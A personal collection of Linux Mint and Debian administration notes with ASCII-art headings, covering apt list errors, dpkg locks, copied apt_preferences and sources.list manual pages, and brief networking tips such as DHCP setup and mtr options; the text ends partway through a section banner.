##|_| |_/_/\_\ |____/|_| \___/|_|\_\___|_| |_| |_| \__,_|\___|_|\_\__,_|\__, |\___| |_| |_|\___|\__,_|\__,_|\___|_| |___/
## |___/
I have not seen this error in a very long time, and I only saw it on Linux Mint Nadia, Olivia, and Petra. I'm including it just in case it ever pops up again.
I noticed that the Package Manager will encounter an odd error. It will display a broken symbol and apt-get update will generate a message like this:
# Reading package lists... Error!
# E: Encountered a package list with no Package: header
# E: Problem with MergeList /var/lib/apt/lists/mirror.umd.edu_linuxmint_packages_dists_nadia_import_i18n_Translation-en
Going in the help room was no help, because they told me I must have screwed up my install somehow. However this has occasionally happened to me on a fresh install. So I hunted for the solution. Finally figured it out.
Open two Terminals side-by-side.
In one Terminal, duplicate the error by typing
# sudo apt-get update
It will download all the lists and error out.
In the other Terminal go to the folder location mentioned in the error:
# cd /var/lib/apt/lists/
In that folder there are lots of MergeLists, one or more of which is borked (could be more than one, but you’ll only get one error at a time). You will lose nothing by deleting these MergeLists, because they will be completely restored and functional on a new apt-get update. So, I start by axing all the files that broadly match the error file:
# sudo rm mirror.umd.edu*
After that’s done, switch to the other Terminal and type
# sudo apt-get update
Let it update. If you encounter another error, switch to the other Terminal and axe some more MergeLists. Otherwise the error should go away once the MergeLists have been refreshed.
## _ _ _ _ ____ ____ _ ______
##| | | |_ __ | | ___ ___| | __ | _ \| _ \| |/ / ___|
##| | | | '_ \| |/ _ \ / __| |/ / | | | | |_) | ' / | _
##| |_| | | | | | (_) | (__| < | |_| | __/| . \ |_| |
## \___/|_| |_|_|\___/ \___|_|\_\ |____/|_| |_|\_\____|
##
If you start installing a package, and for whatever reason have to abort the install it will most likely lock up dpkg and you’ll be unable to install anything else until the installation you just started is finished. This can be rough if the package in question won’t install for some reason.
Sometimes dpkg can get locked because the xapian-index is out of date. Update it and see if this clears the lock.
# sudo update-apt-xapian-index --force
If that doesn’t work, figure out which program has executed a lock on dpkg:
# sudo fuser -vvv /var/lib/dpkg/lock
# sudo fuser -vvv /var/lib/apt/lists/lock
# sudo fuser -vvv /var/cache/apt/archives/lock
You can also use fuser to figure out other locks by substituting the lock location in the above command.
# sudo fuser -vvv /location/location/location
You can kill those programs individually by executing a kill on their PID
# kill [pid number of dpkg lock]
If all else fails, just delete the lock files:
# sudo rm -fv /var/lib/apt/lists/lock
# sudo rm -fv /var/lib/dpkg/lock
# sudo rm -fv /var/cache/apt/archives/lock
Then to stop dpkg from trying to install the same package again.
# sudo dpkg -r [name of package you don’t want installing again]
# sudo dpkg --configure -a
It will remove the package from the cache and install any other packages held because of the broken package was lagging the install.
## _ ____ _____ ____ __
## / \ | _ \_ _| | _ \ _ __ ___ / _| ___ _ __ ___ _ __ ___ ___ ___
## / _ \ | |_) || | | |_) | '__/ _ \ |_ / _ \ '__/ _ \ '_ \ / __/ _ \/ __|
## / ___ \| __/ | | | __/| | | __/ _| __/ | | __/ | | | (_| __/\__ \
##/_/ \_\_| |_| |_| |_| \___|_| \___|_| \___|_| |_|\___\___||___/
##
## How To Use APT Preferences
The APT preferences file /etc/apt/preferences and the fragment files in the /etc/apt/preferences.d/ folder can be used to control which versions of packages will be selected for installation.
Several versions of a package may be available for installation when the sources.list(5) file contains references to more than one distribution (for example, stable and testing). APT assigns a priority to each version that is available. Subject to dependency constraints, apt-get selects the version with the highest priority for installation. The APT preferences override the priorities that APT assigns to package versions by default, thus giving the user control over which one is selected for installation.
Several instances of the same version of a package may be available when the sources.list(5) file contains references to more than one source. In this case apt-get downloads the instance listed earliest in the sources.list(5) file. The APT preferences do not affect the choice of instance, only the choice of version.
Preferences are a strong power in the hands of a system administrator but they can become also their biggest nightmare if used without care! APT will not question the preferences, so wrong settings can lead to uninstallable packages or wrong decisions while upgrading packages. Even more problems will arise if multiple distribution releases are mixed without a good understanding of the following paragraphs. Packages included in a specific release aren't tested in (and therefore don't always work as expected in) older or newer releases, or together with other packages from different releases. You have been warned.
Note that the files in the /etc/apt/preferences.d directory are parsed in alphanumeric ascending order and need to obey the following naming convention: The files have either no or "pref" as filename extension and only contain alphanumeric, hyphen (-), underscore (_) and period (.) characters. Otherwise APT will print a notice that it has ignored a file, unless that file matches a pattern in the Dir::Ignore-Files-Silently configuration list - in which case it will be silently ignored.
## APT's Default Priority Assignments
If there is no preferences file or if there is no entry in the file that applies to a particular version then the priority assigned to that version is the priority of the distribution to which that version belongs. It is possible to single out a distribution, "the target release", which receives a higher priority than other distributions do by default. The target release can be set on the apt-get command line or in the APT configuration file /etc/apt/apt.conf. Note that this has precedence over any general priority you set in the /etc/apt/preferences file described later, but not over specifically pinned packages. For example,
# apt-get install -t testing some-package
APT::Default-Release "stable";
If the target release has been specified then APT uses the following algorithm to set the priorities of the versions of a package. Assign:
# priority 1 = to the versions coming from archives which in their Release files are marked as "NotAutomatic: yes" but not as "ButAutomaticUpgrades: yes" like the Debian experimental archive.
# priority 100 = to the version that is already installed (if any) and to the versions coming from archives which in their Release files are marked as "NotAutomatic: yes" and "ButAutomaticUpgrades: yes" like the Debian backports archive since squeeze-backports.
# priority 500 = to the versions that are not installed and do not belong to the target release.
# priority 990 = to the versions that are not installed and belong to the target release.
If the target release has not been specified then APT simply assigns priority 100 to all installed package versions and priority 500 to all uninstalled package versions, except versions coming from archives which in their Release files are marked as "NotAutomatic: yes" - these versions get the priority 1 or priority 100 if it is additionally marked as "ButAutomaticUpgrades: yes".
APT then applies the following rules, listed in order of precedence, to determine which version of a package to install.
# Never downgrade unless the priority of an available version exceeds 1000. ("Downgrading" is installing a less recent version of a package in place of a more recent version. Note that none of APT's default priorities exceeds 1000; such high priorities can only be set in the preferences file. Note also that downgrading a package can be risky.
# Install the highest priority version.
# If two or more versions have the same priority, install the most recent one (that is, the one with the higher version number).
# If two or more versions have the same priority and version number but either the packages differ in some of their metadata or the --reinstall option is given, install the uninstalled one.
In a typical situation, the installed version of a package (priority 100) is not as recent as one of the versions available from the sources listed in the sources.list(5) file (priority 500 or 990). Then the package will be upgraded when apt-get install some-package or apt-get upgrade is executed.
More rarely, the installed version of a package is more recent than any of the other available versions. The package will not be downgraded when apt-get install some-package or apt-get upgrade is executed.
Sometimes the installed version of a package is more recent than the version belonging to the target release, but not as recent as a version belonging to some other distribution. Such a package will indeed be upgraded when apt-get install some-package or apt-get upgrade is executed, because at least one of the available versions has a higher priority than the installed version.
## The Effect of APT Preferences
The APT preferences file allows the system administrator to control the assignment of priorities. The file consists of one or more multi-line records separated by blank lines. Records can have one of two forms, a specific form and a general form.
The specific form assigns a priority (a "Pin-Priority") to one or more specified packages with a specified version or version range. For example, the following record assigns a high priority to all versions of the perl package whose version number begins with "5.10". Multiple packages can be separated by spaces.
# Package: perl
# Pin: version 5.10*
# Pin-Priority: 1001
The general form assigns a priority to all of the package versions in a given distribution (that is, to all the versions of packages that are listed in a certain Release file) or to all of the package versions coming from a particular Internet site, as identified by the site's fully qualified domain name. This general-form entry in the APT preferences file applies only to groups of packages. For example, the following record assigns a high priority to all package versions available from the local site.
# Package: *
# Pin: origin ""
# Pin-Priority: 999
A note of caution: the keyword used here is "origin" which can be used to match a hostname. The following record will assign a high priority to all versions available from the server identified by the hostname "ftp.de.debian.org"
# Package: *
# Pin: origin "ftp.de.debian.org"
# Pin-Priority: 999
This should not be confused with the Origin of a distribution as specified in a Release file. What follows the "Origin:" tag in a Release file is not an Internet address but an author or vendor name, such as "Debian" or "Ximian".
The following record assigns a low priority to all package versions belonging to any distribution whose Archive name is "unstable".
# Package: *
# Pin: release a=unstable
# Pin-Priority: 50
The following record assigns a high priority to all package versions belonging to any distribution whose Codename is "jessie".
# Package: *
# Pin: release n=jessie
# Pin-Priority: 900
The following record assigns a high priority to all package versions belonging to any release whose Archive name is "stable" and whose release Version number is "7.0".
# Package: *
# Pin: release a=stable, v=7.0
# Pin-Priority: 500
Regular expressions and glob(7) syntax
APT also supports pinning by glob(7) expressions, and regular expressions surrounded by slashes. For example, the following example assigns the priority 500 to all packages from experimental where the name starts with gnome (as a glob(7)-like expression) or contains the word kde (as a POSIX extended regular expression surrounded by slashes).
# Package: gnome* /kde/
# Pin: release n=experimental
# Pin-Priority: 500
The rule for those expressions is that they can occur anywhere where a string can occur. Thus, the following pin assigns the priority 990 to all packages from a release starting with precise.
# Package: *
# Pin: release n=precise*
# Pin-Priority: 990
If a regular expression occurs in a Package field, the behavior is the same as if this regular expression were replaced with a list of all package names it matches. It is undecided whether this will change in the future; thus you should always list wild-card pins first, so later specific pins override it. The pattern "*" in a Package field is not considered a glob(7) expression in itself.
## How APT Interprets Priorities
Priorities (P) assigned in the APT preferences file must be positive or negative integers. They are interpreted as follows (roughly speaking):
# P >= 1000
causes a version to be installed even if this constitutes a downgrade of the package
# 990 <= P < 1000
causes a version to be installed even if it does not come from the target release, unless the installed version is more recent
# 500 <= P < 990
causes a version to be installed unless there is a version available belonging to the target release or the installed version is more recent
# 100 <= P < 500
causes a version to be installed unless there is a version available belonging to some other distribution or the installed version is more recent
# 0 < P < 100
causes a version to be installed only if there is no installed version of the package
# P < 0
prevents the version from being installed
If any specific-form records match an available package version then the first such record determines the priority of the package version. Failing that, if any general-form records match an available package version then the first such record determines the priority of the package version.
For example, suppose the APT preferences file contains the three records presented earlier:
# Package: perl
# Pin: version 5.10*
# Pin-Priority: 1001
# Package: *
# Pin: origin ""
# Pin-Priority: 999
# Package: *
# Pin: release unstable
# Pin-Priority: 50
Then:
The most recent available version of the perl package will be installed, so long as that version's version number begins with "5.10". If any 5.10* version of perl is available and the installed version is 5.14*, then perl will be downgraded.
A version of any package other than perl that is available from the local system has priority over other versions, even versions belonging to the target release.
A version of a package whose origin is not the local system but some other site listed in sources.list(5) and which belongs to an unstable distribution is only installed if it is selected for installation and no version of the package is already installed.
## Determination of Package Version and Distribution Properties
The locations listed in the sources.list(5) file should provide Packages and Release files to describe the packages available at that location.
The Packages file is normally found in the directory .../dists/dist-name/component/arch: for example, .../dists/stable/main/binary-i386/Packages. It consists of a series of multi-line records, one for each package available in that directory.
Only two lines in each record are relevant for setting APT priorities:
# the Package: line
gives the package name
# the Version: line
gives the version number for the named package
# The Release file is normally found in the directory .../dists/dist-name: for example, .../dists/stable/Release, or .../dists/wheezy/Release. It consists of a single multi-line record which applies to all of the packages in the directory tree below its parent. Unlike the Packages file, nearly all of the lines in a Release file are relevant for setting APT priorities:
# the Archive:
or Suite: line names the archive to which all the packages in the directory tree belong. For example, the line "Archive: stable" or "Suite: stable" specifies that all of the packages in the directory tree below the parent of the Release file are in a stable archive. Specifying this value in the APT preferences file would require the line:
Pin: release a=stable
# the Codename: line
names the codename to which all the packages in the directory tree belong. For example, the line "Codename: jessie" specifies that all of the packages in the directory tree below the parent of the Release file belong to a version named jessie. Specifying this value in the APT preferences file would require the line:
Pin: release n=jessie
# the Version: line
names the release version. For example, the packages in the tree might belong to Debian release version 7.0. Note that there is normally no version number for the testing and unstable distributions because they have not been released yet. Specifying this in the APT preferences file would require one of the following lines.
Pin: release v=7.0
Pin: release a=stable, v=7.0
Pin: release 7.0
# the Component: line
names the licensing component associated with the packages in the directory tree of the Release file. For example, the line "Component: main" specifies that all the packages in the directory tree are from the main component, which entails that they are licensed under terms listed in the Debian Free Software Guidelines. Specifying this component in the APT preferences file would require the line:
Pin: release c=main
# the Origin: line
names the originator of the packages in the directory tree of the Release file. Most commonly, this is Debian. Specifying this origin in the APT preferences file would require the line:
Pin: release o=Debian
# the Label: line
names the label of the packages in the directory tree of the Release file. Most commonly, this is Debian. Specifying this label in the APT preferences file would require the line:
Pin: release l=Debian
All of the Packages and Release files retrieved from locations listed in the sources.list(5) file are stored in the directory /var/lib/apt/lists, or in the file named by the variable Dir::State::Lists in the apt.conf file. For example, the file debian.lcs.mit.edu_debian_dists_unstable_contrib_binary-i386_Release contains the Release file retrieved from the site debian.lcs.mit.edu for binary-i386 architecture files from the contrib component of the unstable distribution.
## Optional Lines in an APT Preferences Record
Each record in the APT preferences file can optionally begin with one or more lines beginning with the word Explanation:. This provides a place for comments.
EXAMPLE
Tracking Stable
The following APT preferences file will cause APT to assign a priority higher than the default (500) to all package versions belonging to a stable distribution and a prohibitively low priority to package versions belonging to other Debian distributions.
# Explanation: Uninstall or do not install any Debian-originated
# Explanation: package versions other than those in the stable distro
# Package: *
# Pin: release a=stable
# Pin-Priority: 900
# Package: *
# Pin: release o=Debian
# Pin-Priority: -10
With a suitable sources.list(5) file and the above preferences file, any of the following commands will cause APT to upgrade to the latest stable version(s).
# apt-get install package-name
# apt-get upgrade
# apt-get dist-upgrade
The following command will cause APT to upgrade the specified package to the latest version from the testing distribution; the package will not be upgraded again unless this command is given again.
# apt-get install package/testing
EXAMPLE
Tracking Testing or Unstable
The following APT preferences file will cause APT to assign a high priority to package versions from the testing distribution, a lower priority to package versions from the unstable distribution, and a prohibitively low priority to package versions from other Debian distributions.
# Package: *
# Pin: release a=testing
# Pin-Priority: 900
# Package: *
# Pin: release a=unstable
# Pin-Priority: 800
# Package: *
# Pin: release o=Debian
# Pin-Priority: -10
With a suitable sources.list(5) file and the above preferences file, any of the following commands will cause APT to upgrade to the latest testing version(s).
# apt-get install package-name
# apt-get upgrade
# apt-get dist-upgrade
The following command will cause APT to upgrade the specified package to the latest version from the unstable distribution. Thereafter, apt-get upgrade will upgrade the package to the most recent testing version if that is more recent than the installed version, otherwise, to the most recent unstable version if that is more recent than the installed version.
# apt-get install package/unstable
EXAMPLE
Tracking the evolution of a codename release
The following APT preferences file will cause APT to assign a priority higher than the default (500) to all package versions belonging to a specified codename of a distribution and a prohibitively low priority to package versions belonging to other Debian distributions, codenames and archives. Note that with this APT preference APT will follow the migration of a release from the archive testing to stable and later oldstable. If you want to follow for example the progress in testing notwithstanding the codename changes you should use the example configurations above.
# Explanation: Uninstall or do not install any Debian-originated package versions
# Explanation: other than those in the distribution codenamed with jessie or sid
# Package: *
# Pin: release n=jessie
# Pin-Priority: 900
# Explanation: Debian unstable is always codenamed with sid
# Package: *
# Pin: release n=sid
# Pin-Priority: 800
# Package: *
# Pin: release o=Debian
# Pin-Priority: -10
With a suitable sources.list(5) file and the above preferences file, any of the following commands will cause APT to upgrade to the latest version(s) in the release codenamed with jessie.
# apt-get install package-name
# apt-get upgrade
# apt-get dist-upgrade
The following command will cause APT to upgrade the specified package to the latest version from the sid distribution. Thereafter, apt-get upgrade will upgrade the package to the most recent jessie version if that is more recent than the installed version, otherwise, to the most recent sid version if that is more recent than the installed version.
# apt-get install package/sid
FILES
/etc/apt/preferences
Version preferences file. This is where you would specify
"pinning", i.e. a preference to get certain packages from a
separate source or from a different version of a distribution.
Configuration Item: Dir::Etc::Preferences.
/etc/apt/preferences.d/
File fragments for the version preferences. Configuration Item:
Dir::Etc::PreferencesParts.
## __ _ __ _ __ _ _ _
## / /__| |_ ___ / /_ _ _ __ | |_ / /__ ___ _ _ _ __ ___ ___ ___ | (_)___| |_
## / / _ \ __/ __| / / _` | '_ \| __| / / __|/ _ \| | | | '__/ __/ _ \/ __| | | / __| __|
## / / __/ || (__ / / (_| | |_) | |_ / /\__ \ (_) | |_| | | | (_| __/\__ \_| | \__ \ |_
##/_/ \___|\__\___/_/ \__,_| .__/ \__/_/ |___/\___/ \__,_|_| \___\___||___(_)_|_|___/\__|
## |_|
DESCRIPTION
The source list /etc/apt/sources.list is designed to support any number of active sources and a variety of source media. The file lists one source per line, with the most preferred source listed first. The information available from the configured
sources is acquired by apt-get update (or by an equivalent command from another APT front-end).
Each line specifying a source starts with type (e.g. deb-src) followed by options and arguments for this type. Individual entries cannot be continued onto a following line. Empty lines are ignored, and a hash (#) character anywhere on a line
marks the remainder of that line as a comment.
SOURCES.LIST.D
The /etc/apt/sources.list.d directory provides a way to add sources.list entries in separate files. The format is the same as for the regular sources.list file. File names need to end with .list and may only contain letters (a-z and A-Z), digits (0-9),
underscore (_), hyphen (-) and period (.) characters. Otherwise APT will print a notice that it has ignored a file, unless that file matches a pattern in the Dir::Ignore-Files-Silently configuration list - in which case it will be silently ignored.
THE DEB AND DEB-SRC TYPES
The deb type references a typical two-level Debian archive, distribution/component. The distribution is generally an archive name like stable or testing or a codename like wheezy or
jessie while component is one of main, contrib or non-free. The deb-src type references a Debian distribution's source code in the same form as the deb type. A deb-src line is required
to fetch source indexes.
The format for a sources.list entry using the deb and deb-src types is:
# deb [ options ] uri distribution [component1] [component2] [...]
The URI for the deb type must specify the base of the Debian distribution, from which APT will find the information it
needs. distribution can specify an exact path, in which case the components must be omitted and distribution must end
with a slash (/). This is useful for the case when only a particular sub-section of the archive denoted by the URI is of
interest. If distribution does not specify an exact path, at least one component must be present.
distribution may also contain a variable, $(ARCH) which expands to the Debian architecture (such as amd64 or armel) used
on the system. This permits architecture-independent sources.list files to be used. In general this is only of interest
when specifying an exact path, APT will automatically generate a URI with the current architecture otherwise.
Since only one distribution can be specified per line it may be necessary to have multiple lines for the same URI, if a
subset of all available distributions or components at that location is desired. APT will sort the URI list after it has
generated a complete set internally, and will collapse multiple references to the same Internet host, for instance, into a
single connection, so that it does not inefficiently establish an FTP connection, close it, do something else, and then
re-establish a connection to that same host. This feature is useful for accessing busy FTP sites with limits on the number
of simultaneous anonymous users. APT also parallelizes connections to different hosts to more effectively deal with sites
with low bandwidth.
options is always optional and needs to be surrounded by square brackets. It can consist of multiple settings in the form
setting=value. Multiple settings are separated by spaces. The following settings are supported by APT (note however that
unsupported settings will be ignored silently):
· arch=arch1,arch2,... can be used to specify for which architectures information should be downloaded. If this option
is not set all architectures defined by the APT::Architectures option will be downloaded.
· trusted=yes can be set to indicate that packages from this source are always authenticated even if the Release file is
not signed or the signature can't be checked. This disables parts of apt-secure(8) and should therefore only be used
in a local and trusted context. trusted=no is the opposite which handles even correctly authenticated sources as not
authenticated.
It is important to list sources in order of preference, with the most preferred source listed first. Typically this will
result in sorting by speed from fastest to slowest (CD-ROM followed by hosts on a local network, followed by distant
Internet hosts, for example).
Some examples:
# deb http://ftp.debian.org/debian wheezy main contrib non-free
# deb http://security.debian.org/ wheezy/updates main contrib non-free
URI SPECIFICATION
The currently recognized URI types are:
file
The file scheme allows an arbitrary directory in the file system to be considered an archive. This is useful for NFS
mounts and local mirrors or archives.
cdrom
The cdrom scheme allows APT to use a local CD-ROM drive with media swapping. Use the apt-cdrom(8) program to create
cdrom entries in the source list.
http
The http scheme specifies an HTTP server for the archive. If an environment variable http_proxy is set with the format
http://server:port/, the proxy server specified in http_proxy will be used. Users of authenticated HTTP/1.1 proxies
may use a string of the format http://user:pass@server:port/. Note that this is an insecure method of authentication.
ftp
The ftp scheme specifies an FTP server for the archive. APT's FTP behavior is highly configurable; for more
information see the apt.conf(5) manual page. Please note that an FTP proxy can be specified by using the ftp_proxy
environment variable. It is possible to specify an HTTP proxy (HTTP proxy servers often understand FTP URLs) using
this environment variable and only this environment variable. Proxies using HTTP specified in the configuration file
will be ignored.
copy
The copy scheme is identical to the file scheme except that packages are copied into the cache directory instead of
used directly at their location. This is useful for people using removable media to copy files around with APT.
rsh, ssh
The rsh/ssh method invokes RSH/SSH to connect to a remote host and access the files as a given user. Prior
configuration of rhosts or RSA keys is recommended. The standard find and dd commands are used to perform the file
transfers from the remote host.
adding more recognizable URI types
APT can be extended with more methods shipped in other optional packages, which should follow the naming scheme
apt-transport-method. For instance, the APT team also maintains the package apt-transport-https, which provides access
methods for HTTPS URIs with features similar to the http method. Methods for using e.g. debtorrent are also available
- see apt-transport-debtorrent(1).
EXAMPLES
Uses the archive stored locally (or NFS mounted) at /home/jason/debian for stable/main, stable/contrib, and
stable/non-free.
deb file:/home/jason/debian stable main contrib non-free
As above, except this uses the unstable (development) distribution.
deb file:/home/jason/debian unstable main contrib non-free
Source line for the above
deb-src file:/home/jason/debian unstable main contrib non-free
The first line gets package information for the architectures in APT::Architectures while the second always retrieves
amd64 and armel.
deb http://ftp.debian.org/debian wheezy main
deb [ arch=amd64,armel ] http://ftp.debian.org/debian wheezy main
Uses HTTP to access the archive at archive.debian.org, and uses only the hamm/main area.
deb http://archive.debian.org/debian-archive hamm main
Uses FTP to access the archive at ftp.debian.org, under the debian directory, and uses only the wheezy/contrib area.
deb ftp://ftp.debian.org/debian wheezy contrib
Uses FTP to access the archive at ftp.debian.org, under the debian directory, and uses only the unstable/contrib area. If
this line appears as well as the one in the previous example in sources.list a single FTP session will be used for both
resource lines.
deb ftp://ftp.debian.org/debian unstable contrib
Uses HTTP to access the archive at ftp.tlh.debian.org, under the universe directory, and uses only files found under
unstable/binary-i386 on i386 machines, unstable/binary-amd64 on amd64, and so forth for other supported architectures.
[Note this example only illustrates how to use the substitution variable; official debian archives are not structured like
this]
deb http://ftp.tlh.debian.org/universe unstable/binary-$(ARCH)/
#### _____ _ _ __ _ _ _ _
#### / ____| | | (_) / / | \ | | | | | |
####| (___ ___ ___| |_ _ ___ _ __ / /_ ______ | \| | ___| |___ _____ _ __| | __
#### \___ \ / _ \/ __| __| |/ _ \| '_ \ | '_ \ |______| | . ` |/ _ \ __\ \ /\ / / _ \| '__| |/ /
#### ____) | __/ (__| |_| | (_) | | | | | (_) | | |\ | __/ |_ \ V V / (_) | | | <
####|_____/ \___|\___|\__|_|\___/|_| |_| \___/ |_| \_|\___|\__| \_/\_/ \___/|_| |_|\_\
####
####
## _____ _____ _____ _ _ __ __ _ _ __ _ _ _
##|_ _| _ _ __ _ __ ___ _ __ | ____|_ _| | | | / _|_ __ ___ _ __ ___ / _| __ _(_) |___ __ _ / _| ___ | |_ ___ _ __ _ __ ___ (_)_ __ __ _| |
## | || | | | '__| '_ \ / _ \| '_ \ | _| | | | |_| | | |_| '__/ _ \| '_ ` _ \ | |_ / _` | | / __|/ _` | |_ / _ \ | __/ _ \ '__| '_ ` _ \| | '_ \ / _` | |
## | || |_| | | | | | | | (_) | | | | | |___ | | | _ | | _| | | (_) | | | | | | | _| (_| | | \__ \ (_| | _| __/ | || __/ | | | | | | | | | | | (_| | |
## |_| \__,_|_| |_| |_| \___/|_| |_| |_____| |_| |_| |_| |_| |_| \___/|_| |_| |_| |_| \__,_|_|_|___/\__,_|_| \___| \__\___|_| |_| |_| |_|_|_| |_|\__,_|_|
##
Place the following into /etc/network/interfaces with an editor.
# sudo nano /etc/network/interfaces
This block of text will cause the network manager to bring up your Ethernet automatically and configure it with DHCP.
# auto eth0 iface
# iface eth0 inet dhcp
After adding this restart the network manager with:
# sudo /etc/init.d/networking restart
If this causes an error message, restart the computer.
## _____ _ _ ____ _ _ ____ ____
##| ___|_ _ ___| |_ ___ ___| |_ | _ \| \ | / ___| / ___| ___ _ ____ _____ _ __ ___
##| |_ / _` / __| __/ _ \/ __| __| | | | | \| \___ \ \___ \ / _ \ '__\ \ / / _ \ '__/ __|
##| _| (_| \__ \ || __/\__ \ |_ | |_| | |\ |___) | ___) | __/ | \ V / __/ | \__ \
##|_| \__,_|___/\__\___||___/\__| |____/|_| \_|____/ |____/ \___|_| \_/ \___|_| |___/
##
Install namebench, and run the namebench utility.
# sudo apt-get install namebench
# namebench
## _____ _ _ __ __ __ __ _ ____ _ _ _
##| ___(_)_ __ __| | \ \ / /__ _ _ _ __ | \/ | / \ / ___| / \ __| | __| |_ __ ___ ___ ___
##| |_ | | '_ \ / _` | \ V / _ \| | | | '__| | |\/| | / _ \| | / _ \ / _` |/ _` | '__/ _ \/ __/ __|
##| _| | | | | | (_| | | | (_) | |_| | | | | | |/ ___ \ |___ / ___ \ (_| | (_| | | | __/\__ \__ \
##|_| |_|_| |_|\__,_| |_|\___/ \__,_|_| |_| |_/_/ \_\____| /_/ \_\__,_|\__,_|_| \___||___/___/
##
To find the MAC address, use the following Terminal command:
# ip addr show
## ____ _ _____ _ _ _ _ _ __ __ _____ ____
##| _ \(_)_ __ __ _ |_ _|__ ___| |_(_)_ __ __ _ __ _(_) |_| |__ | \/ |_ _| _ \
##| |_) | | '_ \ / _` | | |/ _ \/ __| __| | '_ \ / _` | \ \ /\ / / | __| '_ \ | |\/| | | | | |_) |
##| __/| | | | | (_| | | | __/\__ \ |_| | | | | (_| | \ V V /| | |_| | | | | | | | | | | _ <
##|_| |_|_| |_|\__, | |_|\___||___/\__|_|_| |_|\__, | \_/\_/ |_|\__|_| |_| |_| |_| |_| |_| \_\
## |___/ |___/
I like to customize the MTR command to figure out specific things:
When the command specifies a ping count (using -c) assume that the sensitivity of the report can be raised or lowered by increasing or decreasing the count.
The following command is good for quick toast reports
# mtr -c 20 -w -r -location
The following command is good for testing UDP connections (for Skype)
# mtr -c 20 -w -r -u -location
You can also check IPv4 and IPv6 connectivity using this command
# (IPv4) mtr -c 20 -4 -w -r -location
# (IPv6) mtr -c 20 -6 -w -r -location
#### _____ _ _ ______ _____ __ ___ _ _____ _
#### / ____| | | (_) |____ | |_ _| \ \ / (_) | | / ____| | |
####| (___ ___ ___| |_ _ ___ _ __ / / ______ | | _ __ ___ __ _ __ _ ___ ___ \ \ / / _ __| | ___ ___ | (___ ___ _ _ _ __ __| |
#### \___ \ / _ \/ __| __| |/ _ \| '_ \ / / |______| | | | '_ ` _ \ / _` |/ _` |/ _ \/ __| \ \/ / | |/ _` |/ _ \/ _ \ \___ \ / _ \| | | | '_ \ / _` |
#### ____) | __/ (__| |_| | (_) | | | | / / _| |_| | | | | | (_| | (_| | __/\__ \_ \ / | | (_| | __/ (_) | ____) | (_) | |_| | | | | (_| |
####|_____/ \___|\___|\__|_|\___/|_| |_| /_/ |_____|_| |_| |_|\__,_|\__, |\___||___( ) \/ |_|\__,_|\___|\___( ) |_____/ \___/ \__,_|_| |_|\__,_|
#### __/ | |/ |/
#### |___/
##__ __ _ _ _ _
##\ \ / /__ _ _| |_ _ _| |__ ___ __| | |
## \ V / _ \| | | | __| | | | '_ \ / _ \_____ / _` | |
## | | (_) | |_| | |_| |_| | |_) | __/_____| (_| | |